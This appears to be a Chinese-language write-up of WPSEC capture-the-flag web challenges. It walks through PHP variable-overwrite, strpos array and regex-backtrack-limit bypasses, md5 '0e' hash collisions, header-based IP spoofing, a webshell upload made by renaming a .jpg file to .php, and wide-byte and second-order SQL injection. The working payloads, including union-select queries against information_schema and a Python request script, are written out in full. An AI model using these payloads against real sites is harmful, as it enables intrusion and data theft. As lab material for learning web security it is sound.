1

2

同時GET,POST
3
【代碼審計】之變量覆蓋一
flag In the variable !
flag In the variable !
<?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
?>
附上源碼
PHP自動化的全局變量:$GLOBALS —— 引用全局作用域中可用的全部變量,一個包含了全部變量的全局組合數(shù)組。變量的名字就是數(shù)組的鍵。
正則表達式"/^\w+$/",匹配字符串,\w表示字符+數(shù)字+下劃線{ a-z,A-Z,_,0-9 }。如果不匹配會輸出 ‘’args error!‘’\
兩個/``/ 表明正則表達式的開始與結(jié)束,^開始字符,$結(jié)束字符,+代表可以有一個或多個\w。
PHP中變量可以當作另一個變量的變量名:$$args,結(jié)合第一句flag In the variable !
所以構(gòu)造payload:URL?args=GLOBALS
即可爆出所有args,其中包含flag。

4
【代碼審計】之數(shù)組繞過
<?php
error_reporting(0);
include "flag3.php";
highlight_file(__file__);
function areyouok($greeting){
return preg_match('/Wpsec.*Good/is',$greeting);
}
$greeting=@$_POST['greeting'];
if($greeting){
if(!areyouok($greeting)){
if(strpos($greeting,'Wpsec Good')!==false){
echo 'Wpsec Good. '.$flag;
}else{
echo 'Do you know php?';
}
}else{
echo 'Do you really know PHP?';
}
}
?>
附上源碼
PHP strpos() 函數(shù):查找 "php" 在字符串中第一次出現(xiàn)的位置:
eg:
<?php
echo strpos("You love php, I love php too!","php");
?>
要求post一個 greeting參數(shù),經(jīng)過areyouok函數(shù)正則過濾后如果返回false,
就進入下一個if,如果 greeting參數(shù)包含 Wpsec Good則打印flag。
可以利用strpos函數(shù)的一個漏洞,傳入一個數(shù)組,會返回 NULL, NULL不強等于false,即可繞過。
注:PHP函數(shù)中大部分無法處理數(shù)組
構(gòu)造payload:
greeting= &greeting[]=Wpsec Good
5

F12——網(wǎng)絡(luò)——消息頭
6
【代碼審計】之變量覆蓋二
<?php
error_reporting(0);
include "flag.php";
highlight_file(__file__);
$_403 = "Access Denied";
$_200 = "Welcome Admin";
if ($_SERVER["REQUEST_METHOD"] != "POST")
{
die("WPSEC-CTF is here :p...");
}
if ( !isset($_POST["flag"]) )
{
die($_403);
}
foreach ($_GET as $key => $value)
{
$$key = $$value;
}
foreach ($_POST as $key => $value)
{
$$key = $value;
}
if ( $_POST["flag"] !== $flag )
{
die($_403);
}
echo "This is your flag : ". $flag . "\n";
die($_200);
?>
WPSEC-CTF is here :p...
附上源碼
題目分析:
源碼包含了flag.php文件,并且需要滿足3個if 里的條件才能獲取flag,題目中使用了兩個foreach并且也使用了 $$.兩個foreach中對$$key的處理是不一樣的,滿足條件后會將$flag里面的值打印出來,所以$flag是在flag.php文件文件中的。
但是由于$flag的值會被中間部分代碼給覆蓋掉,所以需要先將$flag的值賦給$_200或$_403變量,然后利用die($_200)或 die($_403)將flag打印出來。
兩個foreach函數(shù)遍歷數(shù)組函數(shù),這里就是把我們用get方法傳輸?shù)臄?shù)據(jù)當做數(shù)組進行遍歷,并將遍歷的參數(shù)賦值給key,將參數(shù)值復(fù)制給value。
還有一個if判斷語句,判斷用post方法傳輸?shù)臄?shù)據(jù)是不是和$flag的值相同,如果相同,輸出flag。
最后輸出$200的內(nèi)容。
解題方法:
由于第7,11-14行間的代碼會將$flag的值給覆蓋掉,所以只能利用第一個foreach先將$flag的值賦給$_200,然后利用die($_200)將原本的flag值打印出來。
最終PAYLOAD:
GET DATA:?_200=flag
POST DATA:flag=1
7
IP偽造+密碼學
IP偽造的方法:
X-Forwarded-For
Client-IP
x-remote-IP
x-originating-IP
x-remote-addr
解題:

注意這里的IP為題目上提到的,并不是本地的。
之后,send to repeater,運行后發(fā)現(xiàn),

rot13這里用到密碼學,解碼后發(fā)現(xiàn),jcfrp=wpsec,很顯然,這就是密碼,不難想到,只有賬戶和密碼同時正確,并且ip偽造成功,才能得到我們的flag,故輸入admin,wpsec,后抓包,ip偽造,得到FLAG

8
文件上傳,這里需要提到如何在圖片中插入一句話木馬
上傳時借助抓包工具,

這里我們需要修改“2.jpg”為"2.php"方可繞過,拿到flag,

9
sql注入之寬字節(jié)注入
這里我們需要用到%df',類似于sql-lab-less32吧,
嘗試注入?id=0%df' union select 1,1,1--+
注意這里過濾了#注釋,故我們可以使用其他的注釋

接下來就直接放payload:
爆庫:
?id=0%df' union select 1,1,database()--+
爆表:
?id=0%df' union select 1,1,group_concat(table_name) from information_schema.tables where table_schema=database()--+
爆值:
?id=0%df' union select 1,1,group_concat(flag) from test.flag--+
注意:這里由于限制了 ' 我們無法用常用的語句,如 "table_name='flag',這樣無法繞過
最終拿到FLAG
10
<?php
error_reporting(0);
include "flag2.php";
highlight_file(__file__);
$flag = 'xxx';
extract($_GET);
if (isset($gift))
{
$content = trim(file_get_contents($flag));
if ($gift == $content)
{
if(isset($_POST['id']))
{$a = 'huahuishishabi';
@parse_str($_POST['id']);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO'))
{
echo $theflag;
}
else
{
exit('oh...no..');
}
}
else{
echo 'oh..no.no..';
}
}
}
else
{
echo 'Oh..';
}
?>
Oh..
附上源碼
PHP trim() 函數(shù):移除字符串兩側(cè)的空白字符或其他預(yù)定義字符。
PHP extract() 函數(shù):從數(shù)組中將變量導(dǎo)入到當前的符號表。
PHP parse_str() 函數(shù):把查詢字符串解析到變量中。
題目分析:
第一個if GET傳flag 和 gift 的值,如果弱類型相等即可執(zhí)行結(jié)下了的語句
第二個if POST傳id,如果id的值等于a[0],a[0]的值等于md5加密后與QNKCDZO加密后一樣,即都為0e開頭的即可
整理一下思路:首先要求使用GET提交flag和gift參數(shù),其次用POST提交id參數(shù),然后parse_str($id)對id參數(shù)的數(shù)據(jù)進行處理,再使用判斷$a[0] != ‘QNKCDZO’ && md5($a[0]) == md5(‘QNKCDZO’)的結(jié)果是否為真,為真就返回flag,md5(‘QNKCDZO’)的結(jié)果是0e830400451993494058024219903391由于此次要滿足$a[0] != ‘QNKCDZO’ && md5($a[0]) == md5(‘QNKCDZO’)所以要利用php弱語言特性,0e123會被當做科學計數(shù)法,0 * 10 x 123。所以需要找到一個字符串md5后的結(jié)果是0e開頭后面都是數(shù)字的,如,240610708,s878926199a
這里用到PHP處理0e開頭md5哈希字符串缺陷/bug
解題過程:

11
<?php
error_reporting(0);
include "flag4.php";
highlight_file(__file__);
function areyouok($greeting){
return preg_match('/Wpsec.*Good/is',$greeting);
}
$greeting=@$_POST['greeting'];
if(!is_array($greeting)){
if(!areyouok($greeting)){
if(strpos($greeting,'Wpsec Good')!==false){
echo 'Wpsec Good. '.$flag;
}else{
echo 'Do you know php?';
}
}else{
echo 'Do you really know PHP?';
}
}
?>
Do you know php?
附上源碼
題目分析:
這道題與前面的一道題類似
但是加上了is_array的判斷,不允許使用數(shù)組來繞過。
所以那道題的思路不能再用了。 這里需要用到正則回溯,可以參考大牛的文章:PHP利用PCRE回溯次數(shù)限制繞過某些安全限制
PHP為了防止正則表達式的拒絕服務(wù)攻擊(reDOS),給pcre設(shè)定了一個回溯次數(shù)上限 pcre.backtrack_limit,默認為100萬。當正則回溯超過這個上限時,就會返回false。
因此我們只要post100萬個字符,讓它回溯大于100萬次,函數(shù)就會返回false,從而繞過if判斷。
解題思路:
這里我直接上傳了腳本
import requests
data = {"greeting":"Wpsec Good" + "aaaaa" * 1000000}
res = requests.post('http://47.93.6.132:5002/phpgood2.php', data=data)
print (res.content)
結(jié)果

當然還有另一種解題思路,但是比較麻煩
直接POST greeting=Wpsec Good (后面省略一百萬個字符)
12
這道300分的題一看就不簡單,題目名字sqlsql,故推斷需要進行兩次注入
第一次注入,其實和sql-lab-less24題很像。
解題思路:
我們先利用注冊,進行注冊username:admin'#,password:123
接著根據(jù)經(jīng)驗,這時候修改密碼,修改后的密碼便是
username:admin的密碼
登陸后,發(fā)現(xiàn)后臺提示table:flag,tolumn:flag,不難想到,表名,列名,但是用這個信息注入還不行,
因為delete過濾了太多
這道題的過濾點 union where or 對我們構(gòu)成必要的sql語句造成了不便,這時候我們可以用/**/
例如:
un/**/ion
whe/**/re
o/**/r
但是由于只是儲備有限,最終未能拿到flag,不過據(jù)說需要用腳本跑。